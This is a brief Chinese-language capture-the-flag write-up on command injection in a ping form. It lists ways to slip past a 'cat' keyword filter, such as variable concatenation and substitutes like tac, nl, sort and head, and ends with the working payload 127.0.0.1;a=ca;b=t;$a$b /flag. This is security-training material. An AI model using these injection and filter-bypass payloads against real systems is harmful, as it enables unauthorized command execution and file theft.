过滤关键字

例如cat

  1. 拼接绕过,a=ca;b=t;$a$b /flag
  2. 命令替换绕过,
    more:一页一页的显示文件内容, more /flag
    less:与 more 类似,less /flag
    head:查看头几行 head /flag
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tac /flag
    tail:查看尾几行 tail /flag
    nl:显示的时候,顺便输出行号 nl /flag
    od:以二进制的方式读取档案内容 od /flag,有些问题没有解决
    vi:编辑器命令
    vim:编辑器命令
    sort: 排序命令,可以查看 sort /flag
    uniq: 可以查看 uniq /flag
    file -f:报错出具体内容
    sh /flag 2>%261 //报错出文件内容

思路

这里输入 127.0.0.1 时,输出

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.033 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.064 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.033/0.048/0.064 ms

系统检测到该设备处于在线状态

尝试命令执行 127.0.0.1;cat /flag ,输出

服务器检测到可疑字符串cat,启动了查杀程序😋    

根据总结的绕过方法不断尝试,最终

127.0.0.1;a=ca;b=t;$a$b /flag

即可绕过,也可以尝试总结的其它办法